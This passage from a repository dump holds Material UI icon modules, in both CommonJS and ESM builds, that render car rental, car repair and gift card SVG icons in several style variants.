    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 7c1.3 0 2.41-.84 2.83-2H16v1c0 .55.45 1 1 1s1-.45 1-1V5c.55 0 1-.45 1-1s-.45-1-1-1h-7.17C10.35 1.65 8.95.76 7.4 1.06c-1.17.23-2.12 1.19-2.35 2.36C4.7 5.32 6.15 7 8 7m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m8.39 6H7.61c-.43 0-.81.28-.95.68L5 14.69V21c0 .55.45 1 1 1s1-.45 1-1v-1h10v1c0 .55.45 1 1 1s1-.45 1-1v-6.31l-1.66-5.01c-.14-.4-.52-.68-.95-.68M9 17.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7.67 13l.66-2h7.34l.66 2z\"\n}), 'CarRentalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRentalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 7c1.3 0 2.41-.84 2.83-2H16v1c0 .55.45 1 1 1s1-.45 1-1V5c.55 0 1-.45 1-1s-.45-1-1-1h-7.17C10.35 1.65 8.95.76 7.4 1.06c-1.17.23-2.12 1.19-2.35 2.36C4.7 5.32 6.15 7 8 7m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m8.39 6H7.61c-.43 0-.81.28-.95.68L5 14.69V21c0 .55.45 1 1 1s1-.45 1-1v-1h10v1c0 .55.45 1 1 1s1-.45 1-1v-6.31l-1.66-5.01c-.14-.4-.52-.68-.95-.68M9 17.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7.67 13l.66-2h7.34l.66 2z\"\n}), 'CarRentalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRentalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.83 3C10.41 1.83 9.3 1 8 1 6.34 1 5 2.34 5 4c0 1.65 1.34 3 3 3 1.3 0 2.41-.84 2.83-2H16v2h2V5h1V3zM8 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m9.11 4H6.89L5 14.69V22h2v-2h10v2h2v-7.31zM9 17.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7.67 13l.66-2h7.34l.66 2z\"\n}), 'CarRentalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRentalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.83 3C10.41 1.83 9.3 1 8 1 6.34 1 5 2.34 5 4c0 1.65 1.34 3 3 3 1.3 0 2.41-.84 2.83-2H16v2h2V5h1V3zM8 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m9.11 4H6.89L5 14.69V22h2v-2h10v2h2v-7.31zM9 17.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7.67 13l.66-2h7.34l.66 2z\"\n}), 'CarRentalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRentalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15.01V18h10v-3H7zm8 .49c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-6 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"16.5\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"16.5\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.25 9.6c-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4-.22.66-.74 2.22-1.56 4.69v6.5c0 .45.35.81.78.81h.44c.43 0 .78-.36.78-.81V20h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5c-.82-2.46-1.34-4.03-1.56-4.69-.05-.16-.12-.29-.19-.4M8.33 11h7.34l.23.69.43 1.31H7.67zM17 15.01V18H7v-3h10zM10.83 3C10.41 1.83 9.3 1 8 1 6.34 1 5 2.34 5 4c0 1.65 1.34 3 3 3 1.3 0 2.41-.84 2.83-2H16v2h2V5h1V3zM8 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"3\")], 'CarRentalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRentalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15.01V18h10v-3H7zm8 .49c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-6 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"16.5\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"16.5\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.25 9.6c-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4-.22.66-.74 2.22-1.56 4.69v6.5c0 .45.35.81.78.81h.44c.43 0 .78-.36.78-.81V20h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5c-.82-2.46-1.34-4.03-1.56-4.69-.05-.16-.12-.29-.19-.4M8.33 11h7.34l.23.69.43 1.31H7.67zM17 15.01V18H7v-3h10zM10.83 3C10.41 1.83 9.3 1 8 1 6.34 1 5 2.34 5 4c0 1.65 1.34 3 3 3 1.3 0 2.41-.84 2.83-2H16v2h2V5h1V3zM8 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"3\")], 'CarRentalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRepair.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.22 12c.68 0 1.22-.54 1.22-1.22 0-.67-.54-1.22-1.22-1.22S15 10.11 15 10.78c0 .68.55 1.22 1.22 1.22m-9.66-1.22c0 .67.54 1.22 1.22 1.22S9 11.46 9 10.78c0-.67-.54-1.22-1.22-1.22s-1.22.55-1.22 1.22M7.61 4 6.28 8h11.43l-1.33-4zm8.67-1s.54.01.92.54c.02.02.03.04.05.07.07.11.14.24.19.4.22.65 1.56 4.68 1.56 4.68v6.5c0 .45-.35.81-.78.81h-.44c-.43 0-.78-.36-.78-.81V14H7v1.19c0 .45-.35.81-.78.81h-.44c-.43 0-.78-.36-.78-.81v-6.5S6.34 4.67 6.55 4c.05-.16.12-.28.19-.4.03-.02.04-.04.06-.06.38-.53.92-.54.92-.54zM4 17.01h16V19h-7v3h-2v-3H4z\"\n}), 'CarRepair');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRepair.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.22 12c.68 0 1.22-.54 1.22-1.22 0-.67-.54-1.22-1.22-1.22S15 10.11 15 10.78c0 .68.55 1.22 1.22 1.22m-9.66-1.22c0 .67.54 1.22 1.22 1.22S9 11.46 9 10.78c0-.67-.54-1.22-1.22-1.22s-1.22.55-1.22 1.22M7.61 4 6.28 8h11.43l-1.33-4zm8.67-1s.54.01.92.54c.02.02.03.04.05.07.07.11.14.24.19.4.22.65 1.56 4.68 1.56 4.68v6.5c0 .45-.35.81-.78.81h-.44c-.43 0-.78-.36-.78-.81V14H7v1.19c0 .45-.35.81-.78.81h-.44c-.43 0-.78-.36-.78-.81v-6.5S6.34 4.67 6.55 4c.05-.16.12-.28.19-.4.03-.02.04-.04.06-.06.38-.53.92-.54.92-.54zM4 17.01h16V19h-7v3h-2v-3H4z\"\n}), 'CarRepair');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRepairOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"10.5\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"10.5\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.78 16h.44c.43 0 .78-.36.78-.81V14h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5S17.66 4.66 17.44 4c-.05-.16-.12-.29-.19-.4-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4C6.34 4.66 5 8.69 5 8.69v6.5c0 .45.35.81.78.81M8.33 5h7.34l.23.69.43 1.31H7.67zM7 9.01V9h10v3H7zm-3 8V19h7v3h2v-3h7v-1.99z\"\n}, \"2\")], 'CarRepairOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRepairOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"10.5\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"10.5\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.78 16h.44c.43 0 .78-.36.78-.81V14h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5S17.66 4.66 17.44 4c-.05-.16-.12-.29-.19-.4-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4C6.34 4.66 5 8.69 5 8.69v6.5c0 .45.35.81.78.81M8.33 5h7.34l.23.69.43 1.31H7.67zM7 9.01V9h10v3H7zm-3 8V19h7v3h2v-3h7v-1.99z\"\n}, \"2\")], 'CarRepairOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRepairRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15v-1h10v1c0 .55.45 1 1 1s1-.45 1-1V8.69S17.66 4.66 17.44 4c-.05-.16-.12-.29-.19-.4-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4C6.34 4.66 5 8.69 5 8.69V15c0 .55.45 1 1 1s1-.45 1-1m2-3.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M8.33 5h7.34l.23.69.43 1.31H7.67zM4 18.01c0 .54.45.99.99.99H11v2.01c0 .55.45.99.99.99H12c.55 0 .99-.45.99-.99V19H19c.55 0 .99-.45.99-.99 0-.55-.45-.99-.99-.99H4.99c-.54-.01-.99.44-.99.99\"\n}), 'CarRepairRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRepairRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15v-1h10v1c0 .55.45 1 1 1s1-.45 1-1V8.69S17.66 4.66 17.44 4c-.05-.16-.12-.29-.19-.4-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4C6.34 4.66 5 8.69 5 8.69V15c0 .55.45 1 1 1s1-.45 1-1m2-3.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M8.33 5h7.34l.23.69.43 1.31H7.67zM4 18.01c0 .54.45.99.99.99H11v2.01c0 .55.45.99.99.99H12c.55 0 .99-.45.99-.99V19H19c.55 0 .99-.45.99-.99 0-.55-.45-.99-.99-.99H4.99c-.54-.01-.99.44-.99.99\"\n}), 'CarRepairRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRepairSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17.01V19h7v3h2v-3h7v-1.99zM7 14h10v2h2V8.69L17.11 3H6.89L5 8.69V16h2zm2-2.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M8.33 5h7.34l.66 2H7.67z\"\n}), 'CarRepairSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRepairSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17.01V19h7v3h2v-3h7v-1.99zM7 14h10v2h2V8.69L17.11 3H6.89L5 8.69V16h2zm2-2.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M8.33 5h7.34l.66 2H7.67z\"\n}), 'CarRepairSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRepairTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9.01V9H7v3h10zM9 11.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"10.5\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"10.5\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.78 16h.44c.43 0 .78-.36.78-.81V14h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5S17.66 4.66 17.44 4c-.05-.16-.12-.29-.19-.4-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4C6.34 4.66 5 8.69 5 8.69v6.5c0 .45.35.81.78.81M8.33 5h7.34l.23.69.43 1.31H7.67zM7 9.01V9h10v3H7zm-3 8V19h7v3h2v-3h7v-1.99z\"\n}, \"3\")], 'CarRepairTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CarRepairTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9.01V9H7v3h10zM9 11.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"10.5\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"10.5\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.78 16h.44c.43 0 .78-.36.78-.81V14h10v1.19c0 .45.34.81.78.81h.44c.43 0 .78-.36.78-.81v-6.5S17.66 4.66 17.44 4c-.05-.16-.12-.29-.19-.4-.02-.02-.03-.04-.05-.07-.38-.52-.92-.53-.92-.53H7.72s-.54.01-.92.54c-.02.02-.03.04-.05.06-.07.11-.14.24-.19.4C6.34 4.66 5 8.69 5 8.69v6.5c0 .45.35.81.78.81M8.33 5h7.34l.23.69.43 1.31H7.67zM7 9.01V9h10v3H7zm-3 8V19h7v3h2v-3h7v-1.99z\"\n}, \"3\")], 'CarRepairTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardGiftcard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 11 8.76l1-1.36 1 1.36L15.38 12 17 10.83 14.92 8H20z\"\n}), 'CardGiftcard');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardGiftcard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 11 8.76l1-1.36 1 1.36L15.38 12 17 10.83 14.92 8H20z\"\n}), 'CardGiftcard');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardGiftcardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 12 7.4l3.38 4.6L17 10.83 14.92 8H20z\"\n}), 'CardGiftcardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardGiftcardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 12 7.4l3.38 4.6L17 10.83 14.92 8H20z\"\n}), 'CardGiftcardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardGiftcardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V9c0-.55.45-1 1-1h4.08L7.6 10.02c-.33.45-.23 1.08.22 1.4.44.32 1.07.22 1.39-.22L12 7.4l2.79 3.8c.32.44.95.54 1.39.22.45-.32.55-.95.22-1.4L14.92 8H19c.55 0 1 .45 1 1z\"\n}), 'CardGiftcardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardGiftcardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-2.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-5-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V9c0-.55.45-1 1-1h4.08L7.6 10.02c-.33.45-.23 1.08.22 1.4.44.32 1.07.22 1.39-.22L12 7.4l2.79 3.8c.32.44.95.54 1.39.22.45-.32.55-.95.22-1.4L14.92 8H19c.55 0 1 .45 1 1z\"\n}), 'CardGiftcardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CardGiftcardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6h-4.18c.11-.31.18-.65.18-1 0-1.66-1.34-3-3-3-1.05 0-1.96.54-2.5 1.35l-.5.67-.5-.68C10.96 2.54 10.05 2 9 2 7.34 2 6 3.34 6 5c0 .35.07.69.18 1H2.01v15H22zm-7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m11 15H4v-2h16zm0-5H4V8h5.08L7 10.83 8.62 12 12 7.4l3.38 4.6L17 10.83 14.92 